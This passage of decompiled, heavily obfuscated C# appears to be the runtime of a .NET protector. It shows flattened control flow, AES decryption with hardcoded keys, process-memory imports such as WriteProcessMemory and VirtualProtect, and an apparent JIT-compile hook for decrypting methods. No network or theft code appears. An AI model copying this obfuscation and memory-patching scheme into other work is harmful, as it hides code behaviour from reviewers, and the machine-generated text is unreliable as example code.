num2 = 130;
if (true)
continue;
label_360:
if (index >= 1879048192)
{
num2 = 309;
if (true)
continue;
}
else
goto label_387;
label_362:
numArray1[26] = (byte) (229 - 76);
num2 = 34;
continue;
label_363:
numArray2[3] = (byte) num6;
num2 = 439;
continue;
label_364:
numArray1[4] = (byte) (198 - 66);
num2 = 60;
continue;
label_365:
num3 = 241 - 80;
num1 = 88;
goto label_28;
label_368:
numArray1[9] = (byte) num3;
num2 = 9;
continue;
label_371:
num2 = 107;
continue;
label_372:
numArray1[1] = (byte) (167 - 55);
num2 = 5;
continue;
label_375:
numArray1[4] = (byte) (68 + 54);
num2 = 259;
continue;
label_377:
numArray1[14] = (byte) num3;
num1 = 27;
goto label_28;
label_379:
numArray1[6] = (byte) (228 - 76);
num2 = 22;
continue;
label_381:
num2 = 205;
if (true)
continue;
label_382:
numArray1[5] = (byte) num3;
num2 = 411;
}
while (true);
goto label_522;
label_383:
numArray2[7] = (byte) num6;
num2 = 142;
continue;
label_384:
ebVKeUQJotY5IdGdNW.kGOIADEgPtl2ivfJXa(num5, ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader));
num2 = 257;
continue;
label_387:
num15 = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader);
num2 = 248;
continue;
label_522:
str1 = (string) ebVKeUQJotY5IdGdNW.\u0034qoK5FxbotERCuaaJ7(ebVKeUQJotY5IdGdNW.ZFrX6ZUCup1rTIgf3U(), (object) numArray4);
num2 = 238;
if (false)
goto label_383;
}
while (true);
goto label_523;
label_509:
return;
label_388:
numArray1[10] = (byte) (197 - 65);
num2 = 50;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_389:
ebVKeUQJotY5IdGdNW.ud76QUgni(num13, 4, 4, ref num12);
num1 = 354;
goto label_28;
label_390:
numArray1[13] = (byte) (103 + 36);
num2 = 352;
continue;
label_392:
num3 = 81 + 61;
num1 = 330;
goto label_28;
label_397:
numArray2[10] = (byte) num6;
num2 = 186;
continue;
label_398:
num3 = 212 - 70;
num1 = 215;
goto label_28;
label_399:
ebVKeUQJotY5IdGdNW.kGOIADEgPtl2ivfJXa(num13, index + 1879048192);
num1 = 65;
goto label_28;
label_400:
numArray1[0] = (byte) (137 - 76);
num1 = 224;
goto label_28;
label_402:
numArray2[7] = (byte) (121 + 102);
num2 = 73;
continue;
label_403:
num6 = 123 + 11;
num2 = 132;
if (true)
continue;
label_404:
numArray3[3] = (byte) 74;
num1 = 134;
goto label_28;
label_406:
numArray1[0] = (byte) num3;
num2 = 360;
continue;
label_407:
numArray4[8] = (byte) 46;
num2 = 212;
continue;
label_409:
num10 = ebVKeUQJotY5IdGdNW.Oka3cw68Y(str1);
num2 = 220;
continue;
label_410:
num3 = 35 + 65;
num1 = 129;
goto label_28;
label_413:
numArray9 = numArray1;
num1 = 249;
goto label_28;
label_414:
numArray4[5] = (byte) 106;
num2 = 103;
if (true)
continue;
label_415:
numArray1[6] = (byte) num3;
num1 = 200;
goto label_28;
label_416:
numArray1[1] = (byte) num3;
num1 = 39;
goto label_28;
label_417:
num6 = 32 + 72;
num1 = 208;
goto label_28;
label_421:
num1 = 138;
goto label_28;
label_422:
num3 = 168 - 56;
num1 = 397;
goto label_28;
label_423:
num14 = 0;
num1 = 185;
goto label_28;
label_424:
numArray1[24] = (byte) num3;
num1 = 401;
goto label_28;
label_430:
numArray2 = new byte[16];
num2 = 344;
continue;
label_431:
numArray1[31] = (byte) (183 - 61);
num2 = 385;
continue;
label_432:
num3 = 253 - 84;
num2 = 263;
if (true)
continue;
label_433:
numArray2[6] = (byte) (14 + 78);
num2 = 227;
continue;
label_439:
numArray1[7] = (byte) (253 - 84);
num1 = 287;
goto label_28;
label_440:
numArray1[22] = (byte) (94 + 97);
num1 = 183;
goto label_28;
label_441:
numArray4[7] = (byte) 116;
num2 = 79;
continue;
label_443:
numArray1[28] = (byte) (214 - 113);
num1 = 62;
goto label_28;
label_445:
numArray2[4] = (byte) num6;
num2 = 31;
continue;
label_446:
numArray8 = (byte[]) ebVKeUQJotY5IdGdNW.sH0cuLwOgnud8KCQXi((object) binaryReader, num15);
num2 = 184;
continue;
label_447:
++num4;
num1 = 219;
goto label_28;
label_448:
numArray2[8] = (byte) (34 + 113);
num2 = 121;
continue;
label_451:
numArray5[1] = numArray6[0];
num1 = 182;
goto label_28;
label_452:
numArray2[14] = (byte) num6;
num1 = 250;
goto label_28;
label_453:
numArray2[8] = (byte) (153 - 51);
num2 = 23;
continue;
label_455:
numArray4[4] = (byte) 114;
num1 = (int) byte.MaxValue;
goto label_28;
label_461:
numArray2[11] = (byte) num6;
num2 = 76;
continue;
label_462:
num6 = 199 - 66;
num1 = 157;
goto label_28;
label_464:
try
{
// ISSUE: type reference
ebVKeUQJotY5IdGdNW.p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) ebVKeUQJotY5IdGdNW.\u0033FK47EGLqy9BbMPjXA(new IntPtr(num8), ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm)));
}
catch
{
try
{
// ISSUE: type reference
Delegate @delegate = (Delegate) ebVKeUQJotY5IdGdNW.\u0033FK47EGLqy9BbMPjXA(new IntPtr(num8), ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm)));
ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN();
int num32;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
num32 = 2;
else
goto label_470;
label_469:
switch (num32)
{
case 0:
case 2:
// ISSUE: type reference
ebVKeUQJotY5IdGdNW.p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) ebVKeUQJotY5IdGdNW.PUYT2GX5ZlowtoftTb(ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm)), ebVKeUQJotY5IdGdNW.MPaVZVblY2fRy6ulcF((object) @delegate));
goto label_472;
default:
goto label_472;
}
label_470:
num32 = 3;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_469;
}
catch
{
}
}
label_472:
num16 = 0UL;
num1 = 116;
goto label_28;
label_478:
numArray2[10] = (byte) (227 - 75);
num1 = 168;
goto label_28;
label_486:
numArray7 = (byte[]) ebVKeUQJotY5IdGdNW.sH0cuLwOgnud8KCQXi((object) binaryReader, (int) ebVKeUQJotY5IdGdNW.UMa5aIgtbxKxnsdoDP(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader)));
num2 = 188;
continue;
label_496:
num3 = 103 + 54;
num2 = 367;
continue;
label_497:
numArray1[15] = (byte) (178 - 112);
num2 = 399;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_498:
num3 = 125 - 41;
num1 = 264;
goto label_28;
label_499:
numArray4 = new byte[12];
num1 = 400;
goto label_28;
label_502:
num3 = 238 - 79;
num2 = 437;
continue;
label_503:
numArray1[0] = (byte) num3;
num1 = 283;
goto label_28;
label_504:
numArray4[6] = (byte) 105;
num2 = 299;
}
while (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9());
goto label_505;
label_2:
numArray1[30] = (byte) num3;
num2 = 204;
continue;
label_5:
num3 = 194 - 64;
num2 = 120;
continue;
label_513:
numArray2[2] = (byte) num6;
num2 = 444;
continue;
label_520:
str2 = (string) ebVKeUQJotY5IdGdNW.\u0034qoK5FxbotERCuaaJ7(ebVKeUQJotY5IdGdNW.ZFrX6ZUCup1rTIgf3U(), (object) numArray3);
num2 = 251;
}
label_1:
numArray1[15] = (byte) (193 - 64);
num1 = 273;
continue;
label_3:
num4 = 0;
num1 = 51;
continue;
label_4:
numArray2[4] = (byte) (69 + 38);
num1 = 285;
continue;
label_11:
ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader);
num1 = 436;
continue;
label_13:
numArray3[1] = (byte) 101;
num1 = 93;
continue;
label_22:
numArray2[6] = (byte) (138 + 0);
num1 = 382;
continue;
label_25:
num8 = ebVKeUQJotY5IdGdNW.EnsIQRI83GGSP1iwiX(new IntPtr(num7));
num1 = 179;
continue;
label_26:
num9 = ebVKeUQJotY5IdGdNW.\u0038lPgnyTwrcT7G1FLuY((object) ebVKeUQJotY5IdGdNW.SEHaMAJBA);
num1 = 418;
continue;
label_505:
numArray1[28] = (byte) (163 - 54);
num1 = 110;
continue;
label_506:
numArray2[10] = (byte) num6;
num1 = 269;
continue;
label_507:
num10 = ebVKeUQJotY5IdGdNW.Oka3cw68Y(str1);
num1 = 448;
continue;
label_510:
num5 = new IntPtr(int64 + (long) ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader) - (long) num11);
num1 = 313;
continue;
label_511:
numArray1[3] = (byte) (140 - 61);
num1 = 83;
continue;
label_512:
num6 = 229 + 7;
num1 = 192;
continue;
label_515:
numArray1[1] = (byte) num3;
num1 = 256;
continue;
label_516:
num6 = 241 - 80;
num1 = 198;
continue;
label_521:
rijndaelManaged = new RijndaelManaged();
num1 = 362;
continue;
label_523:
ebVKeUQJotY5IdGdNW.SJFGuZaaV();
num1 = 451;
continue;
label_525:
str1 = (string) ebVKeUQJotY5IdGdNW.\u0034qoK5FxbotERCuaaJ7(ebVKeUQJotY5IdGdNW.ZFrX6ZUCup1rTIgf3U(), (object) numArray4);
num1 = 68;
}
label_393:
return;
label_479:;
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0033MC9Hr5ie([In] object obj0)
{
try
{
return (object) obj0.GetType().GetProperty("Location").GetValue(obj0, new object[0]).ToString();
}
catch
{
return (object) "";
}
}
[DllImport("kernel32", EntryPoint = "LoadLibrary")]
public static extern IntPtr Oka3cw68Y([In] string obj0);
[DllImport("kernel32", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
public static extern IntPtr ELesPQern([In] IntPtr obj0, [In] string obj1);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
static extern int J90b7cUMU(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In, Out] byte[] _param2,
[In] uint obj3,
out IntPtr _param4);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
static extern int T765Ziacf(
[In] IntPtr obj0,
[In] IntPtr obj1,
[In, Out] byte[] _param2,
[In] uint obj3,
out IntPtr _param4);
[DllImport("kernel32.dll", EntryPoint = "VirtualProtect")]
static extern int ud76QUgni([In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] ref int obj3);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
static extern IntPtr ow8hUSqXe([In] uint obj0, [In] int obj1, [In] uint obj2);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle")]
static extern int FGNnF4jp1([In] IntPtr obj0);
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
static byte[] BS3UCPq1K([In] string obj0)
{
byte[] buffer;
using (FileStream fileStream = new FileStream(obj0, FileMode.Open, FileAccess.Read, FileShare.Read))
{
int offset = 0;
int length = (int) fileStream.Length;
buffer = new byte[length];
int num;
for (; length > 0; length -= num)
{
num = fileStream.Read(buffer, offset, length);
offset += num;
}
}
return buffer;
}
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
static byte[] qgG0ri5qg([In] byte[] obj0)
{
MemoryStream memoryStream = new MemoryStream();
Rijndael rijndael = Rijndael.Create();
rijndael.Key = new byte[32]
{
(byte) 236,
(byte) 122,
(byte) 38,
(byte) 145,
(byte) 151,
(byte) 145,
(byte) 102,
(byte) 223,
(byte) 161,
(byte) 206,
(byte) 72,
(byte) 13,
(byte) 175,
(byte) 93,
(byte) 127,
(byte) 7,
(byte) 4,
(byte) 121,
(byte) 79,
(byte) 209,
(byte) 32,
(byte) 168,
(byte) 146,
(byte) 223,
(byte) 162,
(byte) 26,
(byte) 251,
(byte) 174,
(byte) 167,
(byte) 185,
(byte) 46,
(byte) 107
};
rijndael.IV = new byte[16]
{
(byte) 106,
(byte) 119,
(byte) 37,
(byte) 174,
(byte) 104,
(byte) 204,
(byte) 230,
(byte) 110,
(byte) 161,
(byte) 68,
(byte) 243,
(byte) 144,
(byte) 18,
(byte) 169,
(byte) 169,
(byte) 221
};
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(obj0, 0, obj0.Length);
cryptoStream.Close();
return memoryStream.ToArray();
}
[MethodImpl(MethodImplOptions.NoInlining)]
byte[] tWS4A229j() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
byte[] IETQu1Zso() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
byte[] LAKPIjCVA() => "{11111-22222-20001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
byte[] \u00334GCGerJT() => "{11111-22222-20001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
byte[] b6hH30lEM() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
byte[] DAYglKU4m() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] sTKWc1JrC() => "{11111-22222-40001-00001}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] tYwOcVrey() => "{11111-22222-40001-00002}".Length > 0 ? new byte[2]
{
(byte) 1,
(byte) 2
} : new byte[2]{ (byte) 1, (byte) 2 };
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] X9Jdfneb8() => (byte[]) null;
[MethodImpl(MethodImplOptions.NoInlining)]
internal byte[] Abf2ry6QT() => (byte[]) null;
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string NEOxx7T5j([In] string obj0, [In] string obj1)
{
byte[] bytes = Encoding.Unicode.GetBytes(obj0);
byte[] numArray = new byte[32]
{
(byte) 82,
(byte) 102,
(byte) 104,
(byte) 110,
(byte) 32,
(byte) 77,
(byte) 24,
(byte) 34,
(byte) 118,
(byte) 181,
(byte) 51,
(byte) 17,
(byte) 18,
(byte) 51,
(byte) 12,
(byte) 109,
(byte) 10,
(byte) 32,
(byte) 77,
(byte) 24,
(byte) 34,
(byte) 158,
(byte) 161,
(byte) 41,
(byte) 97,
(byte) 28,
(byte) 118,
(byte) 181,
(byte) 5,
(byte) 25,
(byte) 1,
(byte) 88
};
byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.Unicode.GetBytes(obj1));
MemoryStream memoryStream = new MemoryStream();
Rijndael rijndael = Rijndael.Create();
rijndael.Key = numArray;
rijndael.IV = hash;
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndael.CreateEncryptor(), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.Close();
return Convert.ToBase64String(memoryStream.ToArray());
}
[MethodImpl(MethodImplOptions.NoInlining)]
public ebVKeUQJotY5IdGdNW()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static Type e8a2ByiVr7q6HYBmUW([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object lAyeJnb7XiQE99SxHN([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object iWdFZhpijHWU2yoaGS([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void g8J8nTEhe8f8dgpB7e([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void QNbcbn39JuV4QoRKNv([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long \u0034UfYcUfwZnbKaXQkVa([In] object obj0) => ((Stream) obj0).Length;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u00350kb2qW1mc3AY5vNLS([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object qWp2gMA5tEr4Wr2RAh([In] object obj0) => (object) ((Assembly) obj0).GetName();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object ubfxuH7mdbbHDhtpx0([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void g1LoTl2Jc4binL4u9I([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object RrPxaKBaO4e2U7gBOv([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void d610naqpinTJwc3nrU([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void tIBlVPRrjWVfd9ngDb([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object ZWs11AM6h0yxp10hlC([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void KFo9xjnJtIutWMS59s([In] object obj0) => ((Stream) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void TCk72huDGbI3wd7Dss([In] object obj0) => ((BinaryReader) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int Urvs6TFhWkPPJxVw8i([In] object obj0, [In] int obj1) => BitConverter.ToInt32((byte[]) obj0, obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object uIRWaEXq0oqBcyhJOm() => (object) Encoding.Unicode;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object PotuIO4mGfaaVLfDHD([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => (object) ((Encoding) obj0).GetString((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool koZFOU0Qd1TWxlxIK4() => true;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool t7yP0iOxXn1dT5Mhpk() => false;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void cTgYw5i8ngOAZcwBuX([In] bool obj0) => RSACryptoServiceProvider.UseMachineKeyStore = obj0;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static Type BXNWa8Ct5VGQVcTJjB([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object xZ7O9IpO5b2C1lKA4S([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0039slFhO6Zyjqu52QWgD([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void qtw6Y63n394PWtw1Qd([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long UMa5aIgtbxKxnsdoDP([In] object obj0) => ((Stream) obj0).Length;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object sH0cuLwOgnud8KCQXi([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object H8HOdg9ZxEDr2eY5KJ([In] object obj0) => (object) ((Assembly) obj0).GetName();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0031xwk1O5lFoGQJY9VP3([In] object obj0) => (object) ((AssemblyName) obj0).GetPublicKeyToken();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void V6r5cOLscD9LGMn5Wt([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object KSbJegMdRD9MEXCI5U([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void ECL41OuLi0T8KD1Ax9([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void bMuuf1sEiUCTRmuruU([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object l3AnmInlhQ3JBvmuC6([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void xm3sCgZLslZ69UwNk6([In] object obj0) => ((Stream) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void nBxmIDYt8Eeo843WGT([In] object obj0) => ((BinaryReader) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object u0IdUaK9o7Dpxr84aL([In] object obj0) => (object) ((Assembly) obj0).GetModules();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static IntPtr DuJHwUcIsQLOWZZPRt([In] object obj0) => Marshal.GetHINSTANCE((Module) obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object DSeHdiqqaYUJ82ElSX([In] object obj0) => (object) ((Assembly) obj0).Location;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int lMhZFRvecwWyaFYrWS([In] object obj0) => ((string) obj0).Length;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int \u00351DIJQmesbhUfvgWNY([In] object obj0) => ((BinaryReader) obj0).ReadInt32();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void kGOIADEgPtl2ivfJXa([In] IntPtr obj0, [In] int obj1) => Marshal.WriteInt32(obj0, obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long dfoOvTR9jJFyJTjZaA([In] object obj0) => ((Stream) obj0).Position;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int ADNsbrNwBBGFe0rAli() => IntPtr.Size;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int rx60T8kvEcMcO814fs([In] long obj0) => Convert.ToInt32(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object ZFrX6ZUCup1rTIgf3U() => (object) Encoding.UTF8;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0034qoK5FxbotERCuaaJ7([In] object obj0, [In] object obj1) => (object) ((Encoding) obj0).GetString((byte[]) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool Xj1isH2kjkv70LY4U3([In] IntPtr obj0, [In] IntPtr obj1) => obj0 == obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0033FK47EGLqy9BbMPjXA([In] IntPtr obj0, [In] Type obj1) => (object) Marshal.GetDelegateForFunctionPointer(obj0, obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static IntPtr w7GMfihdFpoL5rs6Ut([In] object obj0) => ((ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h) obj0)();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int V0Kb1AVog1g4idDljV([In] IntPtr obj0) => Marshal.ReadInt32(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long EnsIQRI83GGSP1iwiX([In] IntPtr obj0) => Marshal.ReadInt64(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static IntPtr \u0038lPgnyTwrcT7G1FLuY([In] object obj0) => Marshal.GetFunctionPointerForDelegate((Delegate) obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object nCsJHndtrWihmbV9CH() => (object) Process.GetCurrentProcess();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object NoplgwSAMLPsqh6vfi([In] object obj0) => (object) ((Process) obj0).Modules;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object EWoqJfQ5D2h4sxWWmE([In] object obj0) => (object) ((ReadOnlyCollectionBase) obj0).GetEnumerator();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object cuBWthAc1ZsRfkEQuq([In] object obj0) => ((IEnumerator) obj0).Current;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object Nor5Kj8f9JNJxqyjpX([In] object obj0) => (object) ((ProcessModule) obj0).ModuleName;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool PmxnMNfU3VIuoCjecS([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static IntPtr dWSgRxogR2hxpkZcPr([In] object obj0) => ((ProcessModule) obj0).BaseAddress;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static int i0kS7bFnqxtgJcdAAk([In] object obj0) => ((ProcessModule) obj0).ModuleMemorySize;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0037h8dKB7JHZfd1qf2To([In] object obj0) => (object) ((Assembly) obj0).EntryPoint;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool qomGGPDA60c5KjlY9Z([In] object obj0) => ((IEnumerator) obj0).MoveNext();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void \u0038LtoaePALeeU9V4Jfp([In] object obj0) => ((IDisposable) obj0).Dispose();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object MPaVZVblY2fRy6ulcF([In] object obj0) => (object) ((Delegate) obj0).Method;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object PUYT2GX5ZlowtoftTb([In] Type obj0, [In] object obj1) => (object) Delegate.CreateDelegate(obj0, (MethodInfo) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object A0tg0GHSKbNZWZDBKy([In] object obj0) => (object) ((MethodBase) obj0).GetParameters();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void CiA14IrD3NVsKgRZVG([In] IntPtr obj0, [In] IntPtr obj1) => Marshal.WriteIntPtr(obj0, obj1);
internal static bool iJn4kY0oJpRAixFuwN() => true;
internal static bool NrhvSeObFe31xAtxR9() => false;
internal class CXcShx4Pv0nDRFrvAv : Attribute
{
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
public CXcShx4Pv0nDRFrvAv([In] object obj0)
{
}
static CXcShx4Pv0nDRFrvAv() => ebVKeUQJotY5IdGdNW.FY0pFREJk();
internal class xEVtlxX8F6lnQqD8mm<T>
{
[MethodImpl(MethodImplOptions.NoInlining)]
public xEVtlxX8F6lnQqD8mm()
{
}
static xEVtlxX8F6lnQqD8mm() => ebVKeUQJotY5IdGdNW.FY0pFREJk();
}
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
internal delegate uint SivK3olD9hSEufJ6Bm(
[MarshalAs(UnmanagedType.U8)] ref ulong _param1,
[In] IntPtr obj1,
[In] IntPtr obj2,
[MarshalAs(UnmanagedType.U4)] uint _param4,
[In] ref IntPtr obj4,
[In] ref uint obj5);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr MttKDN6ssv7t5XCD4h();
[Flags]
private enum oB4HvUR3dJ420vvNRy
{
}
}
}